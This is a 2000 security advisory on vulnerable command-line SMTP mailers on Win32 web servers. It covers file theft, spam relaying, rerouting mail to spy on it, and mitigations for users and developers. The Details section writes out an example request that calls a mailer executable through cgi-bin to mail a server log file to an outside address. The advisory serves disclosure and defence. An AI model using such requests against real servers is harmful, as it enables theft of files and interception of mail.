----------------------------------------------------------------------------



                        Xato Network Security, Inc.

                                www.xato.net



                      Security Advisory XATO-122000-01

                             December 12, 2000





               - MULTIPLE VENDOR COMMAND-LINE MAILER HOLES -



              SMTP Command-Line Mailers on Win32 Web Servers





----------------------------------------------------------------------------



Systems Affected

================

Multiple vendor command-line mailers running on Win32-based web servers

(see below).





Overview

========

The majority of the command-line SMTP mailers available for Win32-based

systems are vulnerable when used to send mail from a web server. The

vulnerabilities found include the ability to:

- Read and/or write to the server's file system;

- Retrieve files from the server's file system as mail attachments;

- Bounce and/or spoof e-mail messages;

- Spam, flood, mail bomb, or otherwise use a server's resources without

  authorization;

- Bounce off a server to perform port scans;

- Bounce off a server to perform brute-force attacks to POP and/or SMTP

  accounts;

- Change default mailer options to route all e-mails through an untrusted

  mail server;

- Discover information about the server and/or company, including

  physical paths, e-mail addresses, and environment variables;

- Perform a number of DoS attacks on a server as well as using the server

  to perform DoS attacks towards other systems;

- View logs of e-mail messages and mailer configuration files.



The vulnerabilities found range from very minor to very serious and

immediate attention should be given if using a command-line SMTP

mailer.





Background

==========

Although these vulnerabilities are obvious to many and similar holes

have been found in mailers on other platforms, we at Xato felt that it

was an issue that needed to be addressed because of the widespread usage

of these tools. In our research we found that many web servers are using

these command-line mailers. They are even included in several e-commerce

applications and many web hosting companies recommend their use.

Furthermore, some of these web-hosting companies go so far as to create

documentation explaining how to set up the mailers in such a manner

that makes them even more vulnerable.



We started this research on one mailer and were about to release an

advisory when we thought that perhaps we should look into some of the

other mailers out their. To our dismay, we found that the majority of

them had one or more vulnerabilities. As the number of mailers on our

list grew, we faced the dilemma of how to approach this. We did not

want to release twenty different advisories nor did we want to make one

large advisory that included all our research. We also did not want to

have to wait for and coordinate twenty companies to get around to

releasing patches before we released an official advisory.



Therefore we decided that our best approach would be to address the

issue in a general manner and leave it up to the individual vendors to

take the responsibility of fixing their own products. We hope that this

advisory serves as a lesson for both developers and web admins about

using DOS applications on web servers.



As we mentioned before, this is a vulnerability that may seem obvious

and some of the individual problems in specific mailers have been

addressed but we thought this should officially be documented because

people sometimes do not fix things unless they are told specifically

what to fix. We hope that this information will be integrated into

vulnerability scanners as well as intrusion detection systems so that

administrators are better educated in these and similar security risks.

 We expect to follow up this advisory with additional details about

specific vulnerabilities.  We will not go into many exploit details

with particular command-line mailers now because there are so many exploits

for so many of the mailers. We are keeping this advisory general to

emphasize the nature of the problem rather than the specific

weaknesses.





Details

=======

A command-line mailer can be an extremely useful and time-saving

administrative tool. However, although many of them were

designed to be used with a web server, most of them do not follow safe

practices making them a great security risk. The basic problem lies in

the fact that they are usually just plain old DOS applications. You can

stick just about any non-interactive DOS application into an executable

directory on a web server and run it remotely. The problem is that most

DOS applications do not realize or even care that they are being run

from a web server and so therefore they behave exactly as if they were

run locally from a command prompt.



For example, if you had a mailer named mailer.exe and you placed that

file in your cgi-bin directory on your web site, any visitor to your

site would be able to run that application by entering the url:



http://yourserver/cgi-bin/mailer.exe



Now suppose that by executing "mailer.exe -h" from a command prompt the

user could view a list of options.  The same thing can be executed from

the web by entering the url:



http://yourserver/cgi-bin/mailer.exe?-h



The resulting text sent to the browser would be the same list of options

that can be seen from the command prompt. To the mailer, there is no

difference in being run from a command prompt as being run from a web

server.



Many web sites have some sort of feedback, technical support, or order

form that allows users to enter data which is then compiled into an e-mail

and sent to the right person at that site. It is a convenience for the

visitor as well as the web site operator. It is very common to simply use

one of the many freely available command-line mailers to accomplish this

task.

Many of the mailers have CGI interfaces and some are solely designed

for web use. Most of them depend on the data sent from the form or

supplied through a server-side script. But most of the time the mailer

executable is located right in the web in a directory with execute

permissions. Anyone can simply bypass the web form and run the mailer

directly with the desired command-line arguments.



Now suppose that an attacker runs the command-line mailer with the help

switch and discovers that there are options to specify who the mail is

from (-f), who it is to (-t), and attachment (-a). So in our example,

one could send an e-mail from the command line using the following command:



mailer.exe -f joe@example.com -t me@example.com -a c:\logs\web.log



This same command can be run from the server by using the following

command:



http://yourserver/cgi-bin/mailer.exe?-f%20joe@example.com%20-t%20me@example.

com%20-a%20c:\logs\web.log



This command will mail you the file named web.log. Most command-line mailers

allow you to specify a recipient and a file attachment, allowing anyone

on the internet to grab any file that the web server has access to.



Looking at the options available for all the command-line mailers, we

found a number of great features that also introduced a number of

security holes. For example, one mailer allows the message to be sent to

a file instead of a mail recipient. This is a very dangerous feature as

it would allow one to create a batch file in the same directory as the

mailer executable. Since this directory is marked executable, the batch

file can be run from the web browser as well. Many of the mailers

required that the web directory be marked executable, readable, and

writeable. All of these things together make a very bad mixture. Another

problem with sending to a file is the ability to send data to other DOS

devices such as printers, modems, COM ports, etc.



Most of the mailers also allow one to specify the recipient as well as

the sender, allowing any one to use the server for spam, flooding, mail

bombing, resource draining, mail spoofing, denial of service, etc.



Other problems include INI and log files in the same directory as the

mailer, command-line options that override the default settings, the

ability to modify hidden form variables to exploit the mailer, debug

modes that reveal server information, and the ability to queue (and

unqueue) messages. One interesting attack we noticed with several mailers

is that one can set the server defaults from the command-line interface.

By routing all mail through an external SMTP mailer with full logging

turned on, one could easily spy on all mail sent through the utility. Such

an attack could easily go for a very long time unnoticed.



In short, we did not find a single command-line mailer that was secure

enough for us to recommend using on a web server. Many have made feeble

attempts to secure their products, but are not complete and have overlooked

many of the less serious yet still important vulnerabilities. To make

things worse, many users configure or use the mailers in such a way to

amplify the effects of the vulnerabilities. Some of these utilities

were never even designed for web use and therefore many of these security

issues were never even considered. On the other hand, some developers

have added some very good security features but they are either not

enough or they are not turned on by default. And finally, many web

sites operators are using older versions of utilities that do not contain

more recent security fixes.



We tested the following mailers and found all of them vulnerable to one

or more holes:



Title                     Web Site

---------------------------------------------------------------------------

BatMail v1.8d             http://www.on3.com/tools/nt/mailexe/

Blat v1.85h               http://pages.infinit.net/che/blat/blat.html

CGIMail v2.5              http://www.nsiweb.com/cgisoftware/cgimail

CLEMAIL v1.3              http://sureshot.virtualave.net/clemail

Comments v1.7             http://www.greyware.com

FormVar v1.61             http://www.cgimachine.de

GBMail v2.02              http://gboban.hypermart.net

MailForm v1.96            http://www.lss.com.au

MailMe! v1.6              http://www.arclab.com

MailPost v5.1             http://www.mcenter.com/mailpost

MailSend v7.15            http://www.radiks.net/jimbo/share.html

MailSend v3.18            http://www.dataenter.co.at

NetFormDD v2.9            http://www.seedlingsoft.com

Postie v6                 http://www.infradig.com

SendFile v1.0             http://www.tntsoftware.com

Stalkerlab's Mailers V1.2 http://www.stalkerlab.ch/SMailers

WindMail v3.05            http://www.geocel.com

WebMailer Pro v1.2        http://www.geocel.com

WebMailer Lite v1.2       http://www.geocel.com

wSendmail v1.5            http://www.jgaa.com/



Please note that this list is by no means complete and it only represents

those that we actually tested. Not being on this list does not mean

that a mailer is safe. Also note that we have only evaluated executable

programs and have not even explored the many scripts and com objects

available. Most of these vendors have not been contacted other than

receiving this advisory. We strongly felt that because of the scope of

the problem and the number of vendors affected that it would be better

to distribute the advisory immediately.





User Solution

=============

The problem with these utilities is that there is no really good solution

for fixing many of them unless the developers make some major changes

to how they work. The best interim solution may be to call the mailers

from a script and keep the actual executable out of the web root. This

will not work for all the programs or for all situations. Keep in mind

that some of these mailers have only minor problems while others have

some very serious holes. We will not be addressing all the specific

holes nor will we answer e-mails about specific problems. The best

solution is to look at how the mailer handles command-line options and

other user input and work with the developer to establish a good strategy

for using the mailer on your web site. You should also carefully read the

mailer's help file and any supporting documentation.  Resources such as

BugTraq (www.securityfocus.com) can also provide insight into specific

security problems with your particular mailer.



Another solution is to use a COM-based dll for sending e-mails.  Generally

they are more secure much of the burden of keeping them secure is on the

web developer.  A very weak but possible interim solution until you can

fix things is to rename the mailer executable and change the standard

defaults.







Developer Solutions

===================

This is a good opportunity for software developers to look at their own

tools and the security holes they may contain. The biggest problem with

most of these mailers is that they trust input that should not be

trusted. Some use http referrer variables for security and others depend

on hidden form variables. All of these things can be easily modified by

the client. Many of the tools allow for a configuration file but often

those settings are overridden by the command-line options when in fact

the reverse should be true. Everything should default to the most secure

settings unless explicitly disabled. Finally, developers should include

good documentation on how to properly secure their application.

Commentary

Certainly this is nothing more than a brief overview of a very big

problem but the solution is one that involves mailer developers, web

hosting companies, e-commerce developers, system administrators and end

users. I have only lightly touched on the vulnerabilities and solutions

yet the scope of the problem prohibits any more detail than this at

this time. I would expect the security community to research this more

and I would like to know of any other mailers that are vulnerable. I

will probably send out an addendum to this advisory that lists more

mailers as well as the actual filenames and more specific exploit

information. I would hope that web administrators realize the seriousness

of these problems and take the time to evaluate their own mailers,

whatever form they take. Many of these tools are freeware or unsupported

so the burden of fixing them is spread out among us.





Acknowledgements

================

Author: sozni (sozni@xato.net)

Thanks to: DR. Royce, tgooat, xentury, Mark, Don, Aaron



Xato Network Security, Inc. (www.xato.net) is an NT/2000 security services

company specializing in securing IIS web servers.



This document is located at:

http://www.xato.net/reference/xato-122000-01.htm

http://www.xato.net/reference/xato-122000-01.txt



-----------------------------------------------------------------------

THE INFORMATION PROVIDED IN THIS ADVISORY IS PROVIDED "AS IS" WITHOUT

WARRANTY OF ANY KIND. XATO NETWORK SECURITY, INC. DISCLAIMS ALL

WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF

MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.



COPYRIGHT (c) 2000 XATO NETWORK SECURITY, INC. ALL RIGHTS RESERVED.

-----------------------------------------------------------------------



More Keywords: CGI, Script, ASP, Perl, Form, HTML



"And its probably all Microsoft's fault"